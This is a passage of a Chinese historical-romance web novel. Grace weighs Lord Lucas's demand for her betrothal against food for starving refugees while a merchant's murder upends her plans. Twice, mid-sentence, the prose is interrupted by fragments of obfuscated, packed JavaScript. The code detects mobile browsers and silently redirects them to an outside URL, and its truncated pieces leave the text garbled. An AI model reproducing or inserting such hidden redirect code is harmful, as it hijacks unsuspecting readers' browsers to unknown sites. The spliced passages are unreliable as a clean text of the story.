格蕾丝在舞曲结束后立马转身离开了舞池，而那道黏腻的目光仍然紧紧黏着她。 “格蕾丝小姐，”卢卡斯爵士的管家不知从哪突然冒出来，“卢卡斯大人请您移步书房，有些关于赈灾物资的细节，希望能与您当面商定。” 格蕾丝转了转手腕，将袖子放下，遮住刚刚打人的手，对着管家点了点头，随着管家的步伐离开了大厅。 沉重的橡木门在他们的身后轻轻合拢，将舞会的喧嚣隔绝在外。 书房内壁炉烧得正旺，跳跃的火光映照着卢卡斯那张英俊却带着几分玩世不恭的脸。他靠在高背椅里，指尖漫不经心地敲击着光滑的红木桌面，发出笃笃的轻响。 “格蕾丝小姐，”他声音里带着点懒洋洋的笑意，“按照你的要求，第一批粮草已经运抵你指定的流民收容点。还满意吗？” “非常满意，卢卡斯大人，”格蕾丝微微颔首，声音平静，“我代表那些无家可归的人，感谢您的慷慨。” “慷慨？”卢卡斯轻笑一声，像是听到了什么有趣的事，他坐直身体，目光锐利地落在格蕾丝脸上，“不必道谢，交易是公平的。你既然答应了我之前提出的合作——成为我在埃斯特家族内部的眼睛和耳朵，那么我为此履行承诺也是应当的。” 他话锋一转，眼神带着审视，“不过，接下来你希望的事，想要借由我的邀请函和影响力，让今晚这些贵族老爷们‘善意’地掏出粮食捐赠，那可就得看你的诚意了。拿出令我满意的条件，我自然会帮你。”他重新靠回椅背，姿态放松，等待着她的回答。 格蕾丝的心沉了沉。这是预料之中的场面。 壁炉的热力烘烤着后背，却驱不散她此时的寒冷。她沉默了片刻，目光迎上卢卡斯那双带着探究和某种势在必得的眼睛问道：“那么您的条件是什么？” 卢卡斯嘴角勾起一个满意的弧度，笑意却不达眼底。 他身体微微前倾，一字一顿，清晰无比：“很简单。你的婚约。” 空气仿佛瞬间凝固了。壁炉里木柴爆裂的噼啪声异常刺耳。 格蕾丝猛地抬眼，浅棕色的瞳孔里清晰地映出惊愕，随即是浓重的不解。 她想过很多可能，金钱、情报、甚至是她的效忠，唯独没料到是这个。一个私生女的名分，能带给卢卡斯这种地位的人什么？除了流言蜚语和社交场上的笑柄，她想不出任何好处。 “我的……婚约？”格蕾丝的声音带着一丝丝的干涩，“卢卡斯大人，恕我直言，以我的身份，与您缔结婚约，对您并无益处。您为何提出这样的条件？” 卢卡斯低低地笑了起来，带着点轻佻，他身体重新靠回椅背，目光在格蕾丝脸上逡巡，像是在欣赏一件精美的瓷器。 “为什么？”他拖长了调子，笑容加深，显得意味深长，“当然是为了爱情咯，我亲爱的格蕾丝小姐。你的……美貌，实在令我折服。”他刻意加重了“美貌”二字，语气里的虚假却显而易见。 任谁都知道格蕾丝并非一个貌美的人，夸赞她美貌与其说是对她的恭维，不如说是对她的漠视。天花之前她不曾获与美貌的赞美，天花之后更是未有可能。 于是格蕾丝的心彻底沉入谷底。 这是敷衍和嘲弄。卢卡斯根本就不愿透露真实意图，那层看似深情款款的面纱下，究竟隐藏着什么目的。 格蕾丝放在膝上的手微微攥紧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853055|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >拒绝吗？拒绝就意味着流民们唯一的指望彻底断绝。可应允？把自己绑在一个目的不明、深不可测的男人身上？ 就在她唇瓣微启，拒绝的话语几乎要冲破喉咙的瞬间。 “咚咚咚！”急促、猛烈，近乎砸门的声响骤然撕裂了书房的宁静。 卢卡斯不悦地皱起眉，管家焦急的声音隔着厚重的橡木门传来：“大人！布鲁诺队长紧急求见！” 卢卡斯看了格蕾丝一眼，迅速收敛了脸上那点虚假的笑意，沉声道：“进来！” 门被猛地推开，一股冰冷的、裹挟着雪粒气息的寒风猛地灌入温暖的书房。 侍卫长布鲁诺高大的身影裹挟着室外的寒气冲了进来，他的黑色斗篷上沾满了尚未融化的雪粒，脸颊被寒风冻得通红，眉宇间凝结着长途奔波的疲惫和一种沉甸甸的凝重。 他匆匆向卢卡斯行了个礼，目光锐利地扫过坐在一旁的格蕾丝，那眼神里飞快地掠过一丝复杂的忧虑，随即被他强行压下。 卢卡斯注意到了布鲁诺那瞬间的迟疑，挥了挥手：“无妨，格蕾丝小姐不是外人。直接说吧！” 布鲁诺吸了口气，再次抬眼，目光惊异地瞥了格蕾丝一下，才压低声音，语速极快地汇报：“大人，邻郡传来急报。那个犹太商人，雅各布·科恩，在通往我们郡的最后一个驿站里……被人发现死了。恐怕是谋杀。” 卢卡斯霍然站起身，椅子在地板上刮出刺耳的声响：“死了？确定？” “千真万确，大人！”布鲁诺的声音带着紧迫，“现场非常混乱，打斗痕迹明显。他随身的贵重货物、携带的契约文件，还有随行的仆役，全都不见了踪影！郡里的治安官已经封锁了现场，但目前……毫无头绪。” 他语速更快，仿佛要一口气把惊悚的消息倒完，“驿站老板是今早送热水时发现的，尸体都硬了。我们的线人接到消息，我立刻亲自赶回！” “雅各布·科恩……”格蕾丝喃喃地重复着这个名字，眉头紧锁。一股强烈的熟悉感冲击着她。雅各布·科恩……雅各布·科恩……在哪里听过？ 她下意识地抚摸着脖颈上的项链，在指尖感受到项链温润的手感时，她突然想起来了！是威廉抵押贴身佩剑时谈起的商人。 就是他！那个与威廉做交易的商人！威廉为了筹集流民过冬的救命粮，几乎倾尽所有，不仅拿出了所有能调动的钱财，甚至将他珍视的贴身佩剑都抵押给了这个雅各布·科恩！只为换取一批粮食。 可左等右等，说好的粮食迟迟未到。威廉记挂了几次……原来如此！商人的粮食恐怕永远到不了了！ 雅各布·科恩的死亡，让格蕾丝瞬间深深皱起了眉头。这不仅仅只是一场谋杀，更是对无数在寒风中挣扎的流民判下的死刑！ 威廉抵押了一切换来的希望，随着这个商人的死亡彻底化为泡影。那些瑟缩在破屋烂棚里，还有许多眼巴巴等着粮食活命的农民。 这个漫长而残酷的冬天，距离结束还有漫长得令人绝望的时间。 格蕾丝感到深深的沉闷。 前一刻还在挣扎的婚约问题，此刻被这残酷的现实砸得粉碎。眼前，似乎只剩下了一条路。 是谁？为了什么？一个冰冷而尖锐的念头不受控制地窜入脑海——卢卡斯？是他干的吗？为了彻底断绝她的后路，逼她就范？ 她猛地抬眼，目光如利刃般刺向书桌后的男人。 卢卡斯正紧锁眉头听着布鲁诺的汇报，脸上是真实的震惊和凝重，不似作伪。 格蕾丝的心猛地一悸。不，不像他。他刚刚才提出条件，没必要立刻用如此激烈彻底的手段，这反而容易引起她的强烈反弹。 那么……究竟是谁？谁能在流民断粮的绝望中获得利益？艾米莉？凯瑟琳？还是那些视流民为麻烦、为负担的本地贵族？ 书房里一片死寂，只有炉火还在噼啪作响，却再也带不来一丝暖意。 33. 第三十三章 征服自己的感情和愤怒，就能征服一切， ——斯宾塞 沉重的橡木门在身后合拢，隔绝了卢卡斯书房里那令人窒息的气氛和犹太商人惨死的冰冷消息。 舞会的喧嚣声随着大厅吹袭的暖风扑面而来，裹挟着香水、酒气和虚伪的谈笑，反而让格蕾丝感到一阵眩晕。 她下意识地抬手，冰凉的指尖按了按突突直跳的太阳穴，那杯劣质红酒和菲利普爵士令人作呕的气息似乎还残留在感官里，而雅各布·科恩曝尸驿站的画面，更是在脑海中挥之不去。 “格蕾丝妹妹？”一个轻柔得恰到好处的声音自身侧响起。 格蕾丝不用回头也知道是谁。 凯瑟琳悄无声息地出现在她身旁，脸上仍然挂着无懈可击的关切：“你脸色好苍白，”她微微蹙眉，她的那份担忧足以骗过任何旁观者。 “是和卢卡斯爵士谈得不顺利吗？还是……”她声音压得更低，带着一丝丝的试探，“菲利普爵士让你受惊了？我远远瞧着，他似乎有些……过于热情了。” 这看似关心的询问，并不怀好意。 格蕾丝强压下翻涌的情绪，挺直背脊，目光平静地迎向凯瑟琳那双看似清澈实则幽深的眼睛：“没什么，凯瑟琳，只是有点累。爵士只是问了些赈灾粮草的事。” “那就好。”凯瑟琳唇角弯起一个完美的弧度，亲昵地挽住格蕾丝的手臂，拉着她走向舞厅边缘相对安静的角落。 “不过我可爱的妹妹，”她的声音如同耳语，只有格蕾丝能听清，“我刚刚听说了一件可怕的事……邻郡好像死了个商人？似乎还是个给流□□粮的？” 她的目光状似无意地扫过格蕾丝瞬间绷紧的下颌线条，语气里充满了恰到好处的同情和忧虑，“天哪，这真是……那些可怜的人怎么办？威廉哥哥抵押了那么多东西……现在全完了。母亲若是知道，怕是……”她没有说完，只是轻轻叹了口气，那叹息里包含的意味却足够沉重。 格蕾丝瞬间紧紧皱起了眉头。 消息竟传得如此之快！凯瑟琳的“关心”精准地戳在此时的痛点之上。 于是格蕾丝沉默着，没有接话，任由凯瑟琳“体贴”地将她安置在一张远离舞池中心的丝绒软凳上。 “你就在这里好好休息一下吧，妹妹。”凯瑟琳拍了拍她的手背，“千万别再惹出什么乱子了。毕竟，埃斯特家的体面……”她留下一个意味深长的眼神，转身像一尾灵活的鱼，重新没入衣香鬓影之中。 体面。 格蕾丝咀嚼着这个词，只觉得讽刺无比。 她刚坐下，试图理清纷乱的思绪，另一个张扬的身影便带着一阵浓郁的香风撞入视线。 “哟，这不是我们‘心地善良’的格蕾丝吗？” 玛格丽特高昂着头颅，像只骄傲的孔雀，故意停在格蕾丝面前，挡住了她的视线。 她挑剔的目光扫过格蕾丝裙摆上那片经过处理却依旧显眼的暗红污渍，毫不掩饰地嗤笑一声，“啧啧，瞧瞧这狼狈样！怎么，被卢卡斯爵士从书房赶出来了？也是，一个私生女，还妄想攀谈什么正事？该不会是……” 她恶意地拖长了调子，声音故意拔高了几分，引得附近几位夫人小姐侧目，“跑去自荐枕席了吧？毕竟，卢卡斯爵士的‘慷慨’可是出了名的！” 恶毒的话语直刺过来，周围那些或好奇或鄙夷的目光瞬间聚焦在了格蕾丝的身上。 愤怒的血液冲上头顶，她几乎要控制不住自己。就在这时，一道低沉而威严的声音插了进来： “玛格丽特小姐，注意你的言辞。” 格蕾丝和玛格丽特同时循声望去。 卢卡斯不知何时已从书房出来，站在几步之外，脸上惯常的慵懒笑容消失无踪，取而代之的是一种极具压迫感的审视。 他并未看格蕾丝，锐利的目光如同鹰隼般锁定在玛格丽特身上。“在卢卡斯家的舞会上，公然侮辱一位小姐，这可不是埃斯特家的教养。” 玛格丽特嚣张的气焰瞬间被冻结，脸色涨红，嘴唇翕动了几下，在卢卡斯那毫不掩饰的冷意下终究没敢再出声，只狠狠地瞪了格蕾丝一眼，悻悻地扭身走开。 卢卡斯这才将目光转向格蕾丝。 那眼神深邃复杂，不再是书房里谈判时的试探，也不同于方才解围的冰冷，似乎多了一层难以言喻的凝重。 他沉默地看了她几秒，没有靠近，也没有说话，最终只是微微颔首，便转身，径直走向正在与人交谈的艾米莉夫人。 格蕾丝看到艾米莉夫人在卢卡斯低语几句后，脸上的笑容骤然僵硬，随即化为一片难以置信的惊怒，她锐利的目光猛地射向格蕾丝的方向，那眼神里充满了冰冷的指责和一种“果然如此”的了然。 格蕾丝的心彻底沉了下去。 凯瑟琳的试探，玛格丽特的羞辱，艾米莉夫人的目光……还有卢卡斯最后那复杂难辨的一瞥。 这一切都让她清晰地意识到，雅各布·科恩的死讯如同投入油锅的水滴，能瞬间引爆一切。她成了风暴的中心。 她需要空气。 几乎是逃离一般，格蕾丝站起身，避开那些或探究或幸灾乐祸的视线，快步穿过喧嚣的人群，走向大厅侧翼那巨大的落地窗。 冰冷的空气透过厚重的玻璃渗入，她推开一扇通往露台的小门，寒风裹挟着细碎的雪花扑面而来，瞬间让她混乱的头脑清醒了几分。 露台空无一人。 她倚靠着冰冷的石栏，任由刺骨的寒风穿透单薄的礼服，仿佛只有这种真实的寒冷才能压下心底那团焦灼的火焰。 远处，卢卡斯庄园的轮廓在沉沉的夜色和飘雪中显得模糊而庞大。流民们蜷缩的破棚子在更远的黑暗中，无声无息，像一片片即将被冰雪彻底覆盖的枯叶。 婚约……卢卡斯的承诺又浮现在眼前。 他那句轻飘飘的“为了爱情”是恣意的玩笑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890191|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他究竟想要什么？埃斯特家的财产？还是别的？而雅各布·科恩的死，那条唯一能带来粮食的线被残忍掐断，真的只是巧合吗？凶手是谁？艾米莉？为了阻止威廉的计划，更为了彻底毁掉她格蕾丝？还是凯瑟琳？为了清除一个潜在的财产争夺者？亦或是……卢卡斯本人？用最极端的方式，将她逼上唯一的绝路？ 纷乱的念头在脑海中激烈碰撞，每一种可能都导向更深的黑暗和更艰难的抉择。 接受卢卡斯，意味着将自己交给给一个动机不明的复仇者，踏入一个充满未知危险的婚姻。 拒绝，则等同于亲手关上流民最后生还的大门，眼睁睁看着他们冻毙、饿死。威廉押上一切换来的希望，将因她的选择而彻底粉碎。 寒风卷起地上的雪沫，扑打在她脸上，冰冷刺骨。 她闭上眼睛，威廉送给她的花朵她还好好地收藏着，流民孩子们在寒风中冻得发紫的小脸，艾米莉夫人冰冷憎恨的目光，凯瑟琳优雅的算计，玛格丽特嚣张的羞辱，卢卡斯那深不可测的凝视……无数画面碎片般闪过。 露台下方，舞厅通明的灯火将一小片花园照亮。残雪覆盖着精心修剪过的灌木丛，枝桠在寒风中微微颤抖，投影下片片扭曲的暗影。 格蕾丝独自站在这儿，感受着寒意如同细密的针，穿透单薄的礼服，刺入骨髓。 婚约。 卢卡斯的声音仿佛还在耳边回响，轻佻又冰冷。 那绝非爱情的邀约。 然而，拒绝的代价……她仿佛听到了遥远旷野上，寒风刮过流民栖身的破棚。她本可以不顾这些流民，她已经脱离了这群人了，他们展露出来的品行品性也不足以令人怜惜…… 威廉会怎么做呢，他又会如何选择呢。光想到这儿，格蕾丝就忍不住轻轻笑了一笑，还用思考吗——关于威廉的选择。 此刻，她站在这里，手中似乎握着决定那片旷野上无数人命运的唯一钥匙。 窗内，舞会的喧嚣被厚重的玻璃模糊，只剩下晃动的光影和隐约的旋律。 凯瑟琳优雅的身影在人群中穿梭，玛格丽特刺耳的笑声偶尔穿透玻璃的阻隔，咯吱咯吱地抓挠着耳膜。 她们都在等待，等着看她如何选择，看她如何被她们埋入坟墓里。 格蕾丝缓缓抬起手，冰凉的指尖拂过冰冷的石栏边缘。 那触感坚硬、粗粝。 她需要这冰冷，需要这痛感。手指缓缓收拢，指甲用力掐进掌心，尖锐的疼痛让她纷乱如麻的思绪强行凝聚。 婚约？流民？复仇？卢卡斯眼底深藏的算计？雅各布·科恩蹊跷的死亡？艾米莉夫人那蚀骨的恨意？……无数线索、无数面孔、无数声音在格蕾丝的脑海中疯狂旋转、碰撞。 她深吸一口凛冽的空气，那冰冷的刺痛直达肺腑。她不再看窗内那虚幻的热闹，而是将目光投向露台下方那片被灯火切割出的、光暗交织的花园。 抉择已定。